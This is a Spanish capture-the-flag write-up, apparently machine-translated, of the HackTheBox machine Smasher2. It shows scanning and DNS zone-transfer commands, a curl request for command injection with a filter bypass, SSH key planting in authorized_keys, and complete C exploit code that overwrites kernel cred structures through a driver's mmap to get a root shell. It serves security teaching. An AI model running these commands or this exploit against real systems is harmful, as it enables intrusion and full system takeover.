En este artículo, comenzaré a publicar soluciones enviadas para su
posterior procesamiento desde el sitio
HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, revertiremos la biblioteca para python, omitiremos WAF y aprovecharemos la vulnerabilidad de mmap.
La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)
Información organizacionalEspecialmente para aquellos que quieran aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Inteligencia
Escaneo de puertos
Esta máquina tiene una dirección IP de 10.10.10.135, que agrego a / etc / hosts.
10.10.10.135 smasher2.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000

El host tiene 3 puertos abiertos. Ahora escanee con nmap para obtener más detalles.
nmap -A 10.10.10.135 -p22,53,80

Por lo tanto, tenemos SSH, DNS y WEB, que devuelve el código 403 (Prohibido, acceso denegado).
DNS
Verifiquemos el DNS. Para hacer esto, use el cliente host, con la opción -l, para usar la solicitud AXFR para ver una lista de todos los hosts en el dominio.
host -l smasher2.htb 10.10.10.135

Por lo tanto, debe agregar una nueva entrada en / etc / hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb
WEB
Ahora pasemos a ver qué WEB nos dará al acceder a smasher2.htb.

Esta vacio En este caso, debe ordenar los directorios. Estoy usando golang escrito rápido gobuster. Clasificaremos los directorios en 128 hilos, nos interesarán las extensiones html, php, txt, conf y los códigos de respuesta 200, 204, 301, 302, 307, 401.
gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401

Encuentra el directorio de respaldo. Nos fijamos en lo que hay en él.

Como resultado, descargue el archivo y la biblioteca de Python. Luego, vaya a otro nombre de dominio, y allí encontraremos el formulario de autorización.

El complemento Mozilla Firefox Wappalyzer informa qué tecnologías se están utilizando. Por lo tanto, el sitio está escrito en python 2.7.15.

API WEB
Pitón
Acabamos de encontrar el archivo auth.py, analicémoslo. En la primera línea de la importación, pasamos al módulo ses.so, que también encontramos en las copias de seguridad.

Encontramos autenticación en el código. En caso de autenticación exitosa, seremos devueltos secret_token_info.


Vayamos al punto "/ api // trabajo". Los datos se reciben por el método POST, mientras que deben estar en formato JSON. Si el parámetro de programación está presente en los datos, se pasa a la ejecución como un comando en la línea de comandos.

El nombre de usuario y la contraseña se han editado ... Se transfieren a nuestra biblioteca, que crea una sesión: el objeto SessionManager.

La función safe_init_manager (id) se llamará en cada nueva llamada, debido a before_request. Por lo tanto, se inicia una nueva sesión.

La función login () crea un objeto administrador dependiente de la sesión.

Y la verificación se lleva a cabo mediante el método check_login ().

Invertir .so
Entonces, necesitamos averiguar cómo se verifican los datos. Para hacer esto, en la biblioteca necesitamos comprender el dispositivo SessionManager.check_login (). Agregue IDA Pro, busque la función deseada.

Al abrir la función, llamé la atención sobre su gráfico. Estaba interesado en varios bloques inferiores antes de converger.

Mirando a través de los bloques, puede ver de qué está hablando esta o aquella rama de la ejecución de la función. Por lo tanto, solo necesitamos el bloque más a la derecha.

He pintado la línea de comportamiento de la función que nos interesa.

Ahora vamos a ver qué pasa. En un lugar, noté un código idéntico para inicio de sesión y contraseña. Y también la misma comparación.

Además, se llama a la misma función para el inicio de sesión y la contraseña.

Esto sugiere que el nombre de usuario y la contraseña son los mismos. Pero dado que este valor llega al programa python y se ha editado, solo queda clasificarlo. Probé el nombre estándar y, para mi sorpresa, apareció el Administrador (por qué no lo intenté de inmediato ...).

Punto de entrada
Tenemos una llave Ahora necesita recopilar la solicitud para ejecutar el código. Como se mencionó anteriormente, debemos enviar los datos del método POST que contienen el parámetro de programación en formato JSON a
wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / job . Hacemos esto con curl y pasamos el resultado a jq. Ejecutaremos el comando whoami.
curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq

Pero cuando intentamos ejecutar el comando "ls", obtenemos un error.

Lo más probable es que haya un filtro en el equipo. Enviemos "l \\ s" - con éxito, lo que indica la presencia de un filtro.

Usuario
Ahora necesitamos obtener un shell normal en el sistema. El sistema ejecuta SSH, por lo que podemos generar una clave e insertarla en la lista de hosts autorizados.
Primero generamos una clave.

Ahora necesitamos transferir nuestra clave pública al archivo /home/dzonerzy/.ssh/authorized_keys. Pero para facilitar la transferencia, utilizaremos su codificación en base64.
base64 -w0 id_rsa.pub
Primero lo transferimos a un archivo temporal.
ec\\ho \”=\” > /tmp/ralf
Ahora decodifique y escriba según lo previsto.
ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys
Anotamos la clave, ahora si todo está bien, podemos conectarnos a través de SSH utilizando la clave privada. Lo intentamos Y estamos en el sistema.

LPE - RAÍZ
Listado
Junto al token del usuario se encuentra el archivo README. Léelo

Se nos dice que no debemos pensar de manera estándar ... Pero después de completar las enumeraciones estándar y no encontrar nada, llamé la atención sobre el grupo en el que se encuentra el usuario.

El grupo adm tiene acceso a archivos interesantes.

Por ejemplo, auth.log. Refleja no solo los hechos de una autorización exitosa y no exitosa, sino también los hechos del uso del comando sudo.
strings /var/log/auth.log | grep sudo

Se ejecuta un comando interesante en nombre de la raíz. Pero está conectado con el controlador, por lo que debe asegurarse de seguir el camino.

Sí, desafortunadamente, todo va al conductor.
Conductor
Como se trata de un controlador (módulo del núcleo), obtendremos información al respecto mediante modinfo.

Se dice que el controlador es necesario para trabajar con el dispositivo dhid. Compruébalo

Si Existe tal dispositivo. Para estudiar el controlador, lo copié yo mismo y lo descargué en IDA Pro.
scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./
Una escasa lista de funciones, de las cuales para PWN estamos interesados en aquellas que funcionan con memoria. A juzgar por los nombres, estos son dev_read y dev_mmap.

Después de buscar en Google, no encontré particularmente información sobre la vulnerabilidad en los controladores relacionados con la lectura, ¡lo que no se puede decir sobre mmap! Entonces fui a ella.

En general, mmap en los controladores es necesario para asignar el dispositivo a la memoria y seleccionar páginas a pedido, ya que inicialmente el dispositivo no usa memoria física en absoluto.
En este código, el único lugar interesante es la llamada a la función remap_pfn_range, que permite la asignación lineal de la memoria del dispositivo al espacio de direcciones del usuario.
int remap_pfn_range (struct vm_area_struct * vma, unsigned long virt_add, unsigned long pfn, unsigned long size, pgprot_t prot);
Muestra el tamaño de bytes de las direcciones físicas, comenzando con el número de página especificado por pfn para la dirección virtual virt_add. Los bits de seguridad asociados con el espacio virtual se especifican en prot.
Como de costumbre, observamos los parámetros que no se procesaron previamente. Estos son los parámetros pfn y size, que nos permiten mostrar cualquier cantidad de memoria para leer y escribir.
Explotar
Buscando en Google lo que se puede hacer al respecto, me llamó la atención una posible forma de explotación. Si podemos encontrar la estructura de control de creds en la memoria, esto nos permitirá cambiar el usuario uid a 0. Y luego llamar al shell, lo que nos dará un shell con todos los privilegios.

Primero, verifique si podemos mostrar una gran cantidad de memoria. El siguiente código abrirá el dispositivo y mostrará 0xf0000000 bytes a partir de la dirección 0x40404040 para leer y escribir con la posibilidad de usar esta reflexión con otros procesos que reflejan el mismo objeto.
codigo #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; }
Compile:
gcc sh.c -o sh.bin
y transfiéralo al host. Vamos a ejecutarlo.

Ahora vamos a otro terminal ssh y miremos la tarjeta de memoria de este proceso.

Como puede ver, la dirección es la misma, se colocan etiquetas para leer y escribir, así como para compartir. Esa es una idea de trabajo. El siguiente paso es encontrar la estructura de credibilidad del proceso en mente. Se puede ver en la estructura anterior que el sello distintivo será 8 números heridos por nuestro uid, yendo en una fila.
codigo #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; }
Así encontramos 19 estructuras similares.

Ahora necesitamos reescribir todos los uid a 0. Después de reescribir los uid de una determinada estructura, verificaremos nuestro uid. Tan pronto como nuestro uid sea igual a 0, podemos suponer que hemos encontrado la estructura del proceso que necesitamos.
codigo #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; }

Ahora, después de encontrar la estructura que necesitamos, cambiaremos el uid a 0xffffffff y llamaremos al shell bash a través de la función exec.
codigo #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; }

Tenemos root De hecho, esta es una máquina muy compleja que requirió sofisticación para manejar esta versión de LPE.
Por supuesto, fue muy difícil explotar la vulnerabilidad en el controlador, y estoy agradecido a la comunidad que me ayudó con una pista sobre cómo llegar al controlador y compartió un artículo sobre la explotación similar de la vulnerabilidad en mmap.
¿Debo continuar publicando el análisis de las máquinas enviadas para su posterior procesamiento? Puedes unirte a nosotros en
Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.